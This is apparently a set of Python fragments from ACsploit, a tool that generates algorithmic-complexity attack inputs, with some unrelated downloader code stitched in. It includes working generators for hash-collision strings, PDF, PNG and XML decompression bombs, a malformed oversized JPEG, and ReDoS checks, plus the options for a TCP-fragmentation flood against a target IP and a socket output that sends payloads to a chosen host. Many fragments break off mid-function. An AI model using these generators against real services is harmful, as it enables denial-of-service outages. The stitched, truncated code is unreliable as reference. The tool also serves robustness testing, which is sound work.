def download_file(self, url, path): ''' Downloads an single url. ''' o = Options() o.add_option('--output-document', path) self.url = url self.prepare_command(o) self._download_file(url, path)
class FloatGenerator: INPUT_NAME = "float" def __init__(self): """Initialize the Float Generator.""" self.options = Options() self.options.add_option('min_value', 0.0, 'Minimum floating point value allowed') self.options.add_option('max_value', 255.0, 'Maximum floating point value allowed') self._min = 0.0 self._max = 255.0 def prepare(self): """Sets max, min based on _options; called before generator is used with an exploit.""" self._min = self.options['min_value'] self._max = self.options['max_value'] def get_less_than(self, value): """Returns a float less than the given value.""" if value > self._max: return self._max if value <= self._min: raise ValueError('No valid values less than {}'.format(value)) # return average of _min and value return self._min / 2 + value / 2 def get_greater_than(self, value): """Returns a float greater than the given value.""" if value < self._min: return self._min if value >= self._max: raise ValueError('No valid values greater than {}'.format(value)) # return average of _max and value return self._max / 2 + value / 2 def get_max_value(self): """Return the max character value.""" return self._max def get_min_value(self): """Return the min character value.""" return self._min def get_random(self): """Returns a random float.""" return random.uniform(self._min, self._max) def is_valid(self, value): """Returns True if the float is a valid value between the min and max values (inclusive).""" return self._min <= value <= self._max and type(value) is float def get_list_of_values(self, num_values): """Returns a list of floats.""" # not technically guaranteed to be unique, but collisions are highly unlikely return [random.uniform(self._min, self._max) for _ in range(num_values)]
def download_new_files(self, downloader, episodes): logging.info("Subscriptions.download_new_files") queue = self.prepare_queue(episodes) if len(queue) > 0: o = Options() o.add_option('--directory-prefix', self._data_subdir()) if self.limitrate: o.add_option('--limit-rate', self.limitrate) downloader.download_queue(queue, o)
class RegexMatchGenerator: """Regex Generator""" INPUT_NAME = 'regex' def __init__(self): """Initialize the Regex Generator.""" self.options = Options() self.options.add_option('regex', '.*', 'Generated strings will match this regex') def get_random(self): """Returns a random string matching the regex""" return exrex.getone(self.options['regex']) def get_random_list(self, num_values): """Returns a list of num_values random strings matching regex; note that matches may be repeated""" return [exrex.getone(self.options['regex']) for _ in range(num_values)] def get_list_of_values(self, num_values): """Returns a list of num_values strings matching regex; note that strings that match in multiple ways may be repeated (e.g. regex 'a|a|a' would yield 'a' as a match three times)""" regex_gen = exrex.generate(self.options['regex']) try: return [next(regex_gen) for _ in range(num_values)] except StopIteration: raise ValueError('Fewer than {} regex matches could be generated'.format(num_values)) def is_valid(self, candidate): """Returns true if valid.""" return re.match(self.options['regex'], candidate) is not None def get_max_value(self): raise NotImplementedError('Regex input generator cannot generate maximum values') def get_min_value(self): raise NotImplementedError('Regex input generator cannot generate minimum values') def get_greater_than(self, value): raise NotImplementedError('Regex input generator cannot generate relative values') def get_less_than(self, value): raise NotImplementedError('Regex input generator cannot generate relative values')
class File: """File class.""" OUTPUT_NAME = 'file' _SEPARATORS = { 'newline': '\n', 'comma': ',', 'space': ' ', 'tab': '\t', 'os_newline': os.linesep } def __init__(self): """Initialize the File class.""" self.options = Options() self.options.add_option('filename', 'acsploit_output.dat', 'The name of the file to write to') # TODO: add more formats self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option('format', 'plaintext', 'The format to write output in', ['plaintext', 'binary', 'sv', 'template']) self.options.add_option('final_newline', True, 'Whether to end the file with a newline') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) self.options.add_option( 'template_file', None, 'Template file to use when "format" is "template"') self.options.add_option( 'template_pattern', '<ACSPLOIT>', 'Replacement pattern in template file, marks where the payload will be copied' ) self.options.add_option( 'replace_first_only', False, 'Whether to replace only the first occurrence of template_pattern or all occurrences' ) def output(self, output_list): """Create file output.""" output_path = os.path.expanduser(self.options['filename']) separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) if self.options['format'] == 'binary': with open(output_path, 'wb') as output_file: self.write_binary_file(output_list, output_file) else: with open(output_path, 'w') as output_file: if self.options['format'] == 'plaintext': self.write_plaintext_file(output_list, output_file, separator) elif self.options['format'] == 'sv': self.write_sv_file(output_list, output_file, separator) elif self.options['format'] == 'template': if self.options['template_file'] is None: raise ValueError( 'Must set "template_file" to use "template" format' ) self.write_template_file(output_list, output_file, separator, self.options['template_file'], self.options['template_pattern']) if self.options['final_newline'] and self.options[ 'format'] != 'template': output_file.write(os.linesep) def write_plaintext_file(self, output_list, output_file, separator): """Write plaintext payload data to output file.""" output_file.write( separator.join([self.convert_item(item) for item in output_list])) def write_template_file(self, output_list, output_file, separator, template, pattern): output = separator.join( [self.convert_item(item) for item in output_list]) final_output = output_common.process_template( template, output, pattern, self.options['replace_first_only']) output_file.write(final_output) def write_binary_file(self, output_list, output_file): """Write binary payload data to output file.""" # for a binary file, we don't want to be adding in our own lineseps for item in output_list: output_file.write(item) def write_sv_file(self, output_list, output_file, separator): """Write sv file.""" # treat lists of lists as rows x cols if all(type(item) is list for item in output_list): # take each inner list, glue it together with the separator, then glue these together with os.linesep lines = [ separator.join(self.convert_item(subitem) for subitem in item) for item in output_list ] output_file.write(os.linesep.join(lines)) else: output_file.write( separator.join( [self.convert_item(item) for item in output_list])) def convert_item(self, item): """Convert output to hexadecimal or octal.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) return str(item)
from options import Options from .java_common import generate_via_half_string_merge, java_hash options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('hash_table_size', 2**32, 'Size of target hash table') options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for the Java hash function.' \ '\n\n ' \ 'Uses a slower and more memory intensive technique but generates smaller strings. See ' \ 'java_fast for a more efficient option.' DEFAULT_INPUT = 'char' def run(generator, output): forbidden_string = '' if options['target_type'] == 'preimage': target = java_hash(options['target'], options['hash_table_size']) forbidden_string = options['target'] else: target = int(options['target']) ret = generate_via_half_string_merge(generator, target, options['n_collisions'],
import copy import itertools import multiprocessing as mp import os import re import time from scipy.optimize import curve_fit import tqdm from options import Options from . import regex_common options = Options() options.add_option('regex', 'your_regex', 'Regex to exploit, if vulnerable') options.add_option( 'regex_file', 'your_file', 'File containing newline separated regular expressions to exploit') options.add_option( 'use_file', False, 'Whether to use the file of regular expressions or the single user supplied expression' ) options.add_option( 'show_progress_bar', False, 'Whether to show a progress bar showing how much of ' + 'the file has been processed, only valid when use_file is True') options.add_option( 'show_only_vulnerable', True, 'Whether to show only the vulnerable regular expressions, only valid when use_file is True' ) options.add_option('max_length', 25,
import z3 from options import Options from .z3_common import get_collisions options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('length', 10, 'Length of strings to create') options.add_option('hash_table_size', 100, 'Size of target hash table') options.add_option('width', 16, 'Bit-width of Fletcher checksum', [16, 32, 64]) options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for the fletcher checksum function.' \ '\n\n ' \ 'This exploit works by using z3 to "solve" for hash collisions. An implementation of the Fletcher ' \ 'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs.' NO_INPUT = True def run(output): ret = get_collisions( z3fletcher, options['target'], options['target_type'], options['length'], options['n_collisions'], options['hash_table_size'], (2**(options['width'] / 2)) - 1) # eg, fletcher16 => 255 output.output(ret)
class CharGenerator: """Character generator""" INPUT_NAME = "char" def __init__(self): """Initialize the Chracter generator.""" self.options = Options() self.options.add_option('min_value', 'a', 'Minimum ASCII character to use') self.options.add_option('max_value', 'z', 'Maximum ASCII character to use') self.options.add_option('restrictions', '', 'String of characters to exclude') self.options.add_option( 'use_whitelist', False, 'If true, only generate characters from the whitelist') self.options.add_option( 'whitelist', '', 'String of characters to generate from if use_whitelist is True') # char_set will be a sorted valid set of characters given the constraints set in options # char_set must be updated by calling prepare() if options change self._char_set = string.ascii_lowercase def prepare(self): """Update the character set.""" self._char_set = [c for c in string.printable if self.is_valid(c)] self._char_set.sort() def get_min_value(self): """Return the min character value.""" return self._char_set[ 0] # options[min_value] could be in restrictions, so we don't just return that def get_max_value(self): """Return the max character value.""" return self._char_set[ -1] # options[max_value] could be in restrictions, so we don't just return that def is_valid(self, candidate): """Returns true if character is valid.""" whitelist = self.options['use_whitelist'] if whitelist: return candidate in self.options['whitelist'] else: min_val = self.options['min_value'] max_val = self.options['max_value'] restrictions = self.options['restrictions'] return min_val <= candidate <= max_val and candidate not in restrictions def get_less_than(self, value): """Returns a character less than the given value.""" result = None for c in self._char_set: if c >= value: break result = c if result is None: raise ValueError( 'No valid value exists less than {}'.format(value)) return result def get_greater_than(self, value): """Returns a character greater than the given value.""" for c in self._char_set: if c > value: return c raise ValueError('No valid value exists greater than {}'.format(value)) def get_random(self): """Returns a random character set.""" return random.choice(self._char_set) def get_char_set(self): """Returns a character set.""" return self._char_set def get_list_of_values(self, num_values): """Returns a string with length num_values starting from min_value""" if num_values > len(self._char_set): raise ValueError('Fewer than {} unique values'.format(num_values)) return self._char_set[:num_values]
class Socket: """Socket class.""" OUTPUT_NAME = 'socket' # exploits can use this internally to whitelist/blacklist supported output formats _SEPARATORS = { # as bytes because socket.sendall() requires bytes 'newline': b'\n', 'comma': b',', 'space': b' ', 'tab': b'\t', 'os_newline': bytes(os.linesep.encode()), 'CRLF': b'\r\n' } _VERSIONS = {'IPv4': socket.AF_INET, 'IPv6': socket.AF_INET6} _BANNER_LENGTH = 1024 def __init__(self): """Initialize the Socket class.""" self.options = Options() self.options.add_option('host', '127.0.0.1', 'Host to connect to') self.options.add_option('port', 80, 'Port to connect to') self.options.add_option('ip_version', 'IPv4', 'Version of IP to use', ['IPv4', 'IPv6']) self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option( 'final_separator', False, 'Whether to end output with an instance of the separator') self.options.add_option( 'await_banner', False, 'Receive a banner message from the server before sending data') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) def output(self, output_list): """Create a socket stream and send the payload as output.""" separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) line = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: line += separator protocol = Socket._VERSIONS[self.options['ip_version']] # TODO: handle exceptions? s = socket.socket(protocol, socket.SOCK_STREAM) s.connect((self.options['host'], self.options['port'])) if self.options['await_banner']: s.recv(Socket._BANNER_LENGTH) s.sendall(line) s.close() def convert_item(self, item): """Convert output to hexadecimal or octal.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) if type(item) is not bytes: item = str(item).encode( ) # TODO: this is a bit of a hack, to put it mildly return item
import os from options import Options import time try: default_interface = netifaces.gateways()['default'][netifaces.AF_INET][1] except Exception: default_interface = None try: is_admin = os.getuid() == 0 except AttributeError: is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 options = Options() options.add_option('target_ip', None, 'Target IP address') options.add_option('target_port', 443, 'Target port') options.add_option('interface', default_interface, 'The local interface the attack should be sent on') options.add_option( 'simultaneous_connections', multiprocessing.cpu_count(), 'The number of simultaneous connections to maintain during the attack') options.add_option('time', 60, 'Number of seconds to perform the attack') options.add_option('payload_size', 10000, 'Size of a single attack payload, repeatedly sent') options.add_option('initial_fragmented_segments', 3000, 'Number of segments to send that are initially fragmented') options.add_option( 'response_timeout', 1, 'Time in seconds to wait for TCP handshake response from target')
import zlib from options import Options options = Options() options.add_option( 'target_payload_memory', 134217728, 'Desired size of decompressed pdfstream in bytes (maximum 8GB). Memory ceiling for time-effect bomb.' ) options.add_option( 'time_multiplier', 1, 'Gives an additive effect to time usage, but may reduce max memory consumption. Set to 1 for no additional time effect (memory only)' ) DESCRIPTION = 'Produces a pdf decompression bomb using pdfstream objects.\n\n Based on a description provided by Didier ' \ 'Stevens (https://blog.didierstevens.com/2008/05/19/pdf-stream-objects/), we produced two variants of a ' \ 'pdf bomb. If the "time_multiplier" option is set to 1, then a pdf bomb is constructed where the document ' \ 'contains pdfstreams that are decompressed using the FlateDecode filter (in a cascade of 3 FlateDecodes). ' \ 'This will cause an AC memory effect on most pdf parsers. We also include the option of extending this ' \ 'attack into an AC time attack (by setting time_multiplier > 1) In that case, we produce pdfstream objects' \ ' that are referenced multiple times within the page whose individual final memory consumption is 1/(2^8) the' \ ' target_payload_memory. This is accomplished by following the FlateDecode filters with valid ASCIIHexDecode' \ ' filters, each of which reduce the final filtered payload size by 1/2. What makes this version of the bomb ' \ 'possible is the fact that 0x33 -> "3" in ASCII, which allows any number of ASCIIHexDecode filters to be ' \ 'run in sequence against a sufficiently long sequence of all "3"s.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'} CANNED_BOMBS = [
from .deflate import max_deflate_png from options import Options options = Options() options.add_option('width', 225000, 'Desired width of uncompressed PNG in pixels') options.add_option('height', 225000, 'Desired height of uncompressed PNG in pixels') DESCRIPTION = 'Generates a PNG bomb.' \ '\n\n ' \ 'The PNG file output expands immensely when loaded into memory by certain applications. ' \ 'We construct a custom PNG file from scratch, inserting a DEFLATE compression bomb, as DEFLATE ' \ 'is the underlying compression used in PNG.' # NOTE: We looked at using the pypng library for this instead of the custom deflate code # While the png code is significantly simpler, it also takes significantly longer to run # because the png library uses zlib for compression, whereas the custom implementation knows # that the input is all zero bytes and thus can write out the compressed data directly NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'} def run(output): ret = max_deflate_png(options['width'], options['height']) output.output([ret])
from options import Options options = Options() options.add_option('n_inputs', 10, 'Number of elements to sort') DESCRIPTION = ( 'Produces a worst-case input set for insertionsort' '\n\n Generates a reverse sorted list on which insertionsort will run in O(n^2) time.' ) def run(generator, output): # Insertion sort worst case is reverse ordered output.output(descending_list(generator, options['n_inputs'])) def descending_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs): output.append(generator.get_less_than(output[i - 1])) return output
from options import Options import struct import os options = Options() options.add_option('width', 25500, 'Reported width of JPEG in pixels') options.add_option('height', 25500, 'Reported height of JPEG in pixels') DESCRIPTION = 'Produces a JPEG image whose header indicates a large size.' \ '\n\n ' \ 'The header actually indicates an incorrect size, since there is no data in the image file. ' \ 'This will cause high resource consumption in image parsers that allocate memory based off the declared ' \ 'image size in the header at the beginning of their parsing. Credit to https://bomb.codes.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'} def run(output): height = options['height'] width = options['width'] if height < 0 or width < 0: raise ValueError("Width and height must be positive") elif height > 65535 or width > 65535: raise ValueError("Width and height must be below 65535") output.output([create_bad_jpeg(width, height)])
import math import os from options import Options options = Options() options.add_option('memory_impact', 1000.0, 'Target memory use in MB') DESCRIPTION = 'Produces an XML file that implements the billion laughs recursive entity attack.\n\n ACSploit produces ' \ 'XML bombs similar to those described on wikipedia (https://en.wikipedia.org/wiki/Billion_laughs_attack) with' \ 'each entity containing 10 references to the previous entity. Target memory usage in MB can be set with the ' \ '"memory_impact" option.' # TODO: reject too small memory_impact values; are there too large memory impact values? NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False} def run(output): xml = generate_xml(options['memory_impact'] * 10**6) output.output([xml]) def format_level(level_num, entities_per_level=10): entities = '&lol{};'.format(level_num - 1) * entities_per_level return ' <!ENTITY lol{} "{}">'.format(level_num, entities) def generate_xml(target_size):
import itertools from options import Options options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('length', 10, 'Length of strings to create') options.add_option( 'substring_length', 4, 'Length of substrings to use. Exponential in time and memory.') options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for the 32-bit Python 2 string hash function' \ '\n\n' \ 'Uses a memory-intensive technique that generates fixed-length strings. ' \ 'Based on a technique published by Alexander ‘alech’ Klink and Julian | zeri at 28C3. ' \ '(See https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html for details.)' DEFAULT_INPUT = 'char' # to find collisions for the 64-bit python hash change HASH_MODULUS to 2**64 and RING_INVERSE to 16109806864799210091 # NB: finding 64-bit collisions via this method is so slow as to be practically useless and so is unsupported HASH_MODULUS = 2**32 # derived from the bit-width of the python executable RING_INVERSE = 2021759595 # the inverse of 1_000_003 % HASH_MODULUS def run(generator, output):
from options import Options options = Options() options.add_option('order', 2, 'Order n of linear program (aka number of equations)') options.add_option( 'mu', 3.0, 'Determines `shape` of constraint region (Must be >= 3.0; Epsilon = 1/mu)') options.add_option('pivot_type', 'largest_coefficient', 'Choice of pivot rule', ['largest_coefficient', 'smallest_index']) DESCRIPTION = 'Produces a worst-case input (Klee-Minty) for the simplex algorithm for linear programming.' \ '\n\n Klee-Minty examples have exponential runtime for classical pivot rules.' \ 'Examples taken from Linear Programming: Klee-Minty Examples by Konstantinos Paparrizos, ' \ 'Nikolaos Samaras, and Dimitrios Zissopoulos' NO_INPUT = True def run( output ): # generates worst case input to the classic simplex algorithm (as shown by Klee and Minty) ret = get_simplex(options['order'], options['mu'], options['pivot_type']) output.output(ret) def get_simplex(order, mu, pivot_type): if mu < 3.0: raise ValueError('mu must be at least 3.0') if pivot_type == 'smallest_index':
from options import Options options = Options() options.add_option('string_length', 120, 'Length of string to generate') DESCRIPTION = 'Produces a worst-case string for line-breaking algorithms' \ '\n\n ' \ 'Fits as many words as possible into the string_length constraint, maximizing the number of possible ' \ 'line breaks considered.' DEFAULT_INPUT = 'char' def run(generator, output): target_length = options['string_length'] word = str(generator.get_min_value()) repetitions = target_length // (len(word) + 1) ret = ' '.join([word] * repetitions) output.output([ret])
from options import Options options = Options() options.add_option('library', "zxcvbn", 'The library to target with worst-case passwords', ['zxcvbn', 'nbvcxz']) options.add_option('length', 100, 'Length of password') DESCRIPTION = 'Produces worst-case input for the zxcvbn password validation algorithm, targeting 1337 character replacement' \ '\n\n The algorithm is already O(n^2) due to checking every single substring of the password. ' \ 'Maximizing the leet characters in the password increases the cost of checking each substring.' NO_INPUT = True # We found that by utilizing ALL leet characters, some zxcvbn implementations take longer to process the password LEETCHARS = "4@8({[<3691!|170$5%2" # This may not be precisely the worst case, as it's unclear what role some other matchers play in extending the length NBVCXZ = "4@8({[</369&#!1/|0$5+7%2/" def run(output): ret = generate_password(options['library'], options['length']) output.output([ret]) def repeat_to_length(string_to_expand, length): return (string_to_expand * (int(length / len(string_to_expand)) + 1))[:length] def generate_password(target, length):
from options import Options options = Options() options.add_option('function', 'search', 'The tree function', ['search', 'min', 'max', 'insert', 'delete']) options.add_option('n_inputs', 10, 'Number of nodes in tree') DESCRIPTION = 'Produces a worst-case set of inputs for various operations on a Binary Search Tree.' \ '\n\n ' \ 'Worst cases for the various operations of a Binary Search Tree all involve ' \ 'sorted lists, which maximize the depth of the tree.' def run(generator, output): f = options['function'] ret = [] if f == 'search' or f == 'min' or f == 'delete': ret.append('Tree insertion order:') sorted = sorted_list(generator, options['n_inputs']) for s in sorted: ret.append(s) if f == 'search': ret.append('Search for : %s' % sorted[options['n_inputs']-1]) elif f == 'delete': ret.append('Delete : %s' % sorted[options['n_inputs']-1]) elif f == 'insert': ret.append('Tree insertion order:') sorted = sorted_list(generator, options['n_inputs']+1) for i in sorted[:-1]: ret.append(i) ret.append('Insert : %s' % sorted[-1])
import string import z3 from options import Options options = Options() options.add_option('hash', '+ * x y z', 'The hash function to use, in prefix notation') options.add_option( 'target_type', 'image', 'Whether to solve for inputs that hash to image or inputs that hash to the same value as preimage', ['image', 'preimage']) options.add_option( 'image', 0, 'The target value to solve the inputs to the hash function for') options.add_option('preimage', 'x = 4, y = 1, z = 1', 'The preimage values to hash, in the format VAR = VALUE') options.add_option('variable_width', 32, 'Bit-width of variables in the hash function') options.add_option('n_collisions', 10, 'The number of colliding inputs to solve for') DESCRIPTION = 'Produces hash collisions for a custom hash function.' \ '\n\n ' \ 'This module allows you to define custom hash functions out of a collection of primitive operations ' \ 'and solve for collisions against them using z3. Hash functions are specified in prefix notation, using ' \ 'arbitrary variable names and the following operators: +, -, *, /, <<, >>, & (bit-wise AND), | (bit-wise OR), ' \ 'and ^ (bit-wise XOR). See custom_hashes.md for more details.' NO_INPUT = True
class ACsploit(cmd2.Cmd): """An interactive command-line utility to generate worst-case inputs to commonly used algorithms.""" intro = r""" .__ .__ __ _____ ____ ____________ | | ____ |__|/ |_ \__ \ _/ ___\ / ___/\____ \| | / _ \| \ __\ / __ \\ \___ \___ \ | |_> > |_( <_> ) || | (____ /\___ >____ >| __/|____/\____/|__||__| \/ \/ \/ |__| """ # find all inputs, outputs, exploits inputs = get_inputs() outputs = get_outputs() exploits = get_exploits() def __init__(self, hist_file): """Initialization and setup of ACsploit.""" self.setup_cmd2(hist_file) self.prompt = self.make_prompt() self.exploit = None self.exploit_name = '' self.input = None self.output = None self.options = Options() self.defaulted_options = [] self.script_mode = False def setup_cmd2(self, hist_file): """"Set up interactive command line interface.""" # delete unused commands that are baked-into cmd2 and set some options del cmd2.Cmd.do_py del cmd2.Cmd.do_edit del cmd2.Cmd.do_shortcuts del cmd2.Cmd.do_set del cmd2.Cmd.do_alias cmd2.Cmd.abbrev = True self.allow_cli_args = False # disable parsing of command-line args by cmd2 self.allow_redirection = False # disable redirection to enable right shift (>>) in custom_hash to work self.redirector = '\xff' # disable redirection in the parser as well # init cmd2 and the history file cmd2.Cmd.__init__(self, persistent_history_file=hist_file, persistent_history_length=200) # disable help on builtins self.hidden_commands.append('shell') self.hidden_commands.append('exit') def make_prompt(self, location=None): """Create the command line prompt.""" prompt = '(acsploit : %s) ' % location if location is not None else '(acsploit) ' return colorize(prompt, "blue") def complete_set(self, text, line, begidx, endidx): """Provide tab completion for the "set" option.""" # text = line[begidx:endidx] is the word we want to complete # split the completed words, should either be ['set'], or ['set', <option_key>] split_line = line[:begidx].split() if len(split_line) == 1: return [ option for option in self.get_option_names() if option.startswith(text) or '.' + text in option ] if len(split_line) == 2: key = split_line[1] options = self.get_options(key) if options is not None: scoped_key = key.split('.')[1] if '.' in key else key values = options.get_acceptable_values(scoped_key) if values is not None: return [ value for value in values if value.startswith(text) ] return [] def complete_use(self, text, line, begidx, endidx): """Provide tab completion for the "use" option.""" return self.delimiter_complete(text, line, begidx, endidx, ACsploit.exploits, '/') def get_option_names(self): """Returns the names of all options within current exploit, input , and output options.""" # There are no options until the current exploit is set if self.exploit is None: return [] option_names = self.options.get_option_names() if self.input is not None: option_names += [ 'input.' + option for option in self.input.options.get_option_names() ] if self.output is not None: option_names += [ 'output.' + option for option in self.output.options.get_option_names() ] if self.exploit is not None: option_names += [ 'exploit.' + option for option in self.exploit.options.get_option_names() ] return option_names def get_options(self, key): """Returns the options object containing the given key.""" if key in self.options.get_option_names(): return self.options try: scope, scoped_key = key.split('.') except ValueError: return None if scope == 'input' and scoped_key in self.input.options.get_option_names( ): return self.input.options elif scope == 'output' and scoped_key in self.output.options.get_option_names( ): return self.output.options elif scope == 'exploit' and scoped_key in self.exploit.options.get_option_names( ): return self.exploit.options else: return None def print_options(self, options, describe=False, indent_level=0): """Print available options and current values.""" indent = ' ' * indent_level for option in options.get_option_names(): line = colorize(option + ': ', 'green') + str(options[option]) if describe: line += ' (' + options.get_description(option) + ')' values = options.get_acceptable_values(option) if values is not None: line += ' (Acceptable Values: ' + str(values) + ')' eprint(indent + line) def fuzzy_equals(self, lhs, rhs): """Type-coerce to the type of rhs and then compare, Returns True if equals.""" t = type(rhs) if t is bool: # special case bool because bool() treats all strings as True return rhs is (lhs in Options.TRUE_VALUES) try: if rhs is None: return lhs is None return t(lhs) == rhs except ValueError: return False def do_info(self, args): """Displays the description of the selected exploit.""" if self.exploit is None: eprint( colorize( 'No exploit set; nothing to describe. Select an exploit with the \'use\' command', 'cyan')) else: eprint(colorize('\n ' + self.exploit.DESCRIPTION + '\n', 'green')) def do_options(self, args): """Displays options for the selected exploit. Use 'options describe' to see descriptions""" if args not in ['', 'describe']: eprint(colorize('Unsupported argument to options', 'red')) self.do_help('options') return if self.exploit is None: eprint( colorize( 'No exploit set; no options to show. Select an exploit with the \'use\' command', 'cyan')) return describe = args == 'describe' eprint() self.print_options(self.options, describe, indent_level=1) if self.input is not None: eprint(colorize('\n Input options', 'green')) self.print_options(self.input.options, describe, indent_level=2) if self.output is not None: eprint(colorize('\n Output options', 'green')) self.print_options(self.output.options, describe, indent_level=2) if self.exploit is not None: eprint(colorize('\n Exploit options', 'green')) self.print_options(self.exploit.options, describe, indent_level=2) eprint() def do_exit(self, args): """Exit ACsploit.""" self._should_quit = True return self._STOP_AND_EXIT def do_set(self, args): """Sets an option. Usage: set [option_name] [value]""" try: key, value = args.split(maxsplit=1) except ValueError: eprint('Usage: set [option_name] [value]') return no_option_msg = colorize('No option set', 'cyan') if key == 'debug': if value.lower() == 'true': self.debug = True eprint(colorize('debug => true', 'cyan')) elif value.lower() == 'false': self.debug = False eprint(colorize('debug => false', 'cyan')) else: eprint( colorize( '{} is not an acceptable value for option {}'.format( value, key), 'red')) eprint(no_option_msg) return if key not in self.get_option_names(): eprint(colorize('Option {} does not exist'.format(key), 'red')) eprint(no_option_msg) return options = self.get_options( key) # this call should always succeed due to the check above scoped_key = key.split('.')[1] if '.' in key else key if not options.is_acceptable_value(scoped_key, value): if options.supports_custom(scoped_key) and value == 'custom': eprint( colorize('value must be specified after \"custom\"', 'red')) else: eprint( colorize( '{} is not an acceptable value for option {}'.format( value, key), 'red')) eprint(no_option_msg) return if self.fuzzy_equals(value, options[scoped_key]): eprint( colorize('Option {} is already set to {}'.format(key, value), 'cyan')) return if key in self.defaulted_options: if self.script_mode: # in script mode, warn and continue eprint( colorize( 'The following change may result in degraded exploit performance or failure', 'yellow')) self.defaulted_options.remove( key ) # only warn the first time overwriting the defaulted option else: # in interactive mode, prompt for confirmation confirm_prompt = 'Changing this option may result in degraded exploit performance or failure' confirmation = __builtins__.input( colorize( confirm_prompt + '\nDo you want to continue? [y|N] ', 'yellow')) if confirmation.lower() in ['yes', 'y']: self.defaulted_options.remove( key ) # only warn the first time overwriting the defaulted option else: eprint(no_option_msg) return if key == 'input': self.input = ACsploit.inputs[value]() elif key == 'output': self.output = ACsploit.outputs[value]() options[scoped_key] = value eprint(colorize('%s => %s' % (key, value), 'cyan')) def do_reset(self, args): """Resets the current exploit to default options""" if self.exploit is None: eprint( colorize( 'No exploit set; nothing to reset. Select an exploit with the \'use\' command', 'cyan')) return # delete the stored settings and reset the options in the current module if hasattr(self.exploit, '_ACsploit_exploit_settings'): del self.exploit._ACsploit_exploit_settings importlib.reload( self.exploit ) # we need to do this to reset currexp.options back to original values self.exploit = None self.update_exploit(self.exploit_name) def do_use(self, args): """Sets the current exploit. Usage: use [exploit_name]""" if len(args) > 0: self.update_exploit(args.split()[0]) else: eprint(colorize('Usage: use [exploit_name]', 'red')) return def do_show(self, args): """Lists all available exploits.""" eprint(colorize('\nAvailable exploits:', 'green')) for key in sorted(ACsploit.exploits): eprint(colorize(' ' + key, 'green')) eprint() def do_clear(self, args): """Clears the screen""" # 'cls' on windows, otherwise 'clear' os.system('cls' if os.name == 'nt' else 'clear') def update_exploit(self, exploit_name): """Sets the exploit name as the current exploit and restores saved settings or sets default values.""" if exploit_name not in ACsploit.exploits: eprint((colorize('Exploit ' + exploit_name + ' does not exist', 'red'))) return # save current input/output and to current exploit in private variables # this allows restoration of the current settings if the exploit is used again if self.exploit is not None: self.exploit._ACsploit_exploit_settings = { 'input': self.input, 'output': self.output, 'options': self.options, 'defaulted_options': self.defaulted_options, } # set the new exploit; restore previous input/output self.exploit_name = exploit_name self.exploit = ACsploit.exploits[exploit_name] self.prompt = self.make_prompt(exploit_name) eprint(colorize('exploit => %s' % exploit_name, 'cyan')) if hasattr(self.exploit, '_ACsploit_exploit_settings'): self.input = self.exploit._ACsploit_exploit_settings['input'] self.output = self.exploit._ACsploit_exploit_settings['output'] self.options = self.exploit._ACsploit_exploit_settings['options'] self.defaulted_options = self.exploit._ACsploit_exploit_settings[ 'defaulted_options'] else: input_desc = 'Input generator to use with exploits' output_desc = 'Output generator to use with exploits' self.defaulted_options = [] self.options = Options() # set default input and output for new exploit, if any if hasattr(self.exploit, 'NO_INPUT') and self.exploit.NO_INPUT: self.input = None elif hasattr(self.exploit, 'DEFAULT_INPUT'): self.options.add_option('input', self.exploit.DEFAULT_INPUT, input_desc, list(ACsploit.inputs.keys())) self.defaulted_options.append('input') self.input = ACsploit.inputs[self.exploit.DEFAULT_INPUT]() else: # We set string as the default input, but do not warn if this option is changed self.options.add_option('input', 'string', input_desc, list(ACsploit.inputs.keys())) self.input = ACsploit.inputs['string']() if hasattr(self.exploit, 'NO_OUTPUT') and self.exploit.NO_OUTPUT: self.output = None elif hasattr(self.exploit, 'DEFAULT_OUTPUT'): self.options.add_option('output', self.exploit.DEFAULT_OUTPUT, output_desc, list(ACsploit.outputs.keys())) self.defaulted_options.append('output') self.output = ACsploit.outputs[self.exploit.DEFAULT_OUTPUT]() else: # We set stdout as the default output, but do not warn if this option is changed self.options.add_option('output', 'stdout', output_desc, list(ACsploit.outputs.keys())) self.output = ACsploit.outputs['stdout']() # set defaults for input and output settings for new exploit, if any if hasattr(self.exploit, 'DEFAULT_INPUT_OPTIONS'): for option, value in self.exploit.DEFAULT_INPUT_OPTIONS.items( ): self.input.set_option(option, value) 